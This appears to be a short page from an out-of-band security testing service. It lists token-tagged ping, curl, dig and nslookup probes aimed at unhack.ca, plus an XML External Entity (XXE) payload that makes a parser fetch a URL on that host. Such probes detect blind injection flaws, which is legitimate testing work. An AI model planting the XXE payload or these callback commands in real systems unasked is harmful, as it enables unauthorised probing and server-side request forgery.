$ ping -c1 -p 004edd8fb07ea24cc1a42842ae97b800 unhack.ca
 

$ curl http://unhack.ca/p/4edd8fb07ea24cc1a42842ae97b8
 

$ dig 4edd8fb07ea24cc1a42842ae97b8 @unhack.ca
 

$ dig 4edd8fb07ea24cc1a42842ae97b8.ns.unhack.ca
 

C:\> nslookup 4edd8fb07ea24cc1a42842ae97b8 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/4edd8fb07ea24cc1a42842ae97b8">]>
    <foo>&xxe;</foo>